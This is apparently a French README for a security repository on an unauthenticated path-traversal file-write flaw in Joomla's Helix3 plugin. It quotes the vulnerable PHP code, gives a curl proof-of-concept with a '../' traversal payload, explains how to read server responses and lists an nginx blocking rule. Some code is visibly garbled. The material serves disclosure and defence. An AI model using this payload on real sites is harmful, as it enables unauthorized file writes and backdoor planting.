
Ce dépôt contient des documents, une analyse technique et un Proof of Concept (PoC) pour la vulnérabilité critique CVE-2026-49049, découverte dans l'ancien framework de templates Helix3 de JoomShaper pour le CMS Joomla (versions 1.0 à 3.1.0 incluses).
Cette vulnérabilité est activement exploitée dans la nature par des botnets automatisés (notamment dans le cadre de la campagne de défacement AntonKill).
Le problème réside dans le gestionnaire AJAX système de Joomla (com_ajax), qui appelle la méthode onAjaxHelix3() du plugin plg_ajax_helix3. Les développeurs du composant n'ont pas prévu :
layoutName.public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
Pour vérifier la vulnérabilité, une requête POST avec le type de contenu application/x-www-form-urlencoded est utilisée. Cette méthode d'encapsulation des paramètres est la plus efficace pour démontrer la faille.
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
Lors d'un test d'intrusion, le serveur peut renvoyer différents types de réponses. Leur interprétation est cruciale :
Réponse du serveur :
{"success":true,"message":null,"messages":null,"data":[]}
Interprétation : Le plugin est vulnérable, aucune restriction de l'OS n'est présente. Le fichier a bien été créé à la racine du site et est accessible à l'adresse https://target.com. Le site nécessite un nettoyage immédiat et une isolation.
Réponse du serveur :
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
Interprétation : Succès partiel. La logique du plugin Helix3 est compromise — il a accepté les données sans authentification et a tenté d'ouvrir le fichier en écriture (fopen). Cependant, le système d'exploitation Linux a bloqué cette action, car l'utilisateur du serveur web (par exemple, www-data) n'a pas les droits d'écriture à la racine du site.
Réponse du serveur : Statut 404 Not Found, 403 Forbidden ou réponse vide [].
Interprétation : Le plugin a été mis à jour vers une version sécurisée (3.1.1+), où la vérification de l'authentification a été ajoutée, ou il a été complètement supprimé du CMS.
plg_ajax_helix3 via le panneau d'administration de Joomla.if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
Avertissement : Ce document est fourni exclusivement à des fins éducatives et pour un audit de sécurité légitime des systèmes (Pentesting). L'auteur décline toute responsabilité en cas d'utilisation inappropriée des informations fournies.
| Paramètre | Valeur / Exemple | Ce que cela signifie pour le serveur |
|---|
option | com_ajax | Point d'entrée de Joomla pour le traitement des requêtes AJAX. |
plugin | helix3 | Identifiant système qui force Joomla à passer le contrôle au plugin vulnérable Helix3. |
format | json | Indique au moteur de renvoyer une réponse au format JSON. |
-d | data[...] | Corps de la requête (Form Data), automatiquement interprété par PHP dans le tableau global $_POST. |
data[action] | save | Le commutateur switch dans le code. Il demande au plugin d'appeler la fonction d'écriture (création) de fichier. |
data[layoutName] | ../../../../../../../example | Vecteur d'attaque clé (Path Traversal). Les caractères ../ forcent le système d'exploitation à sortir du dossier isolé du plugin pour atteindre le répertoire racine du site. Le plugin ajoutera automatiquement l'extension .json. |
data[content] | {"probe":"test"} | Charge utile (Payload). Données texte qui seront physiquement écrites dans le fichier example.json créé. Lors d'attaques réelles, du code malveillant de défacement ou des backdoors y sont injectés. |